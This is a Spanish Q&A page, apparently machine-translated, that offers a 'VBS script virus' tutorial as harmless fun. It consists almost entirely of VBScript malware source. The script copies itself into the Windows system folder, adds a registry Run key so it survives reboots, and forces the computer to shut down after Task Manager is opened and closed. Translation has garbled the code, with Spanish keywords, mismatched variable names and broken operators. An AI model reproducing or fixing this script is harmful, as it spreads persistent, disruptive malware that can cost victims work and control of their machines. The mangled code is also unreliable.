Red de conocimiento informático - Problemas con los teléfonos móviles - Tutorial de escritura de virus script VBS (no para dañar a otros, sólo por diversión) ¡Urgente! ! ! ! !

Tutorial de escritura de virus script VBS (no para dañar a otros, sólo por diversión) ¡Urgente! ! ! ! !

Establecer ws=WScript.CreateObject("wscript.shell")

Establecer fso=WScript.CreateObject("scripting.filesystemobject")

ruta1=fso .GetSpecialFolder(1)

Establecer fs1=fso.getfile(WScript.ScriptFullName)

ruta2=ruta1 amp "\" fs1.Name

ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa",""""& path2 &"""","REG_SZ"

Si no es fso.FileExists(path2), entonces

fs1.Copy(ruta1 y "\")

ws.Run """"y ruta2 """", Verdadero, Verdadero

Finalizar si

hacer

Establecer wmi=GetObject("winmgmts:\\.\root\cimv2")

Establecer list=Wmi. "seleccione * de win32_process donde nombre='taskmgr.exe'")

Si list.countlt;gt;0 Entonces

Llame a fun2()

Fin If

WScript.Sleep 3000

bucle

Función fun2()

hacer

Establecer wmi2 =GetObject ("winmgmts：\\.\root\cimv2")

Establecer list2=wmi2.ExecQuery("select * from win32_process donde name='taskmgr.exe'")

Si list2.count=0 Luego

Establecer wmi3=GetObject("winmgmts：{(shutdown)}\\.\root\cimv2")

Establecer list3=wmi3.ExecQuery (" seleccione * de win32_operatingsystem")

Para cada uu en lista3

uu.win32shutdown(2 4)

Finalizar si

wscript.sleep 2000

bucle

Función final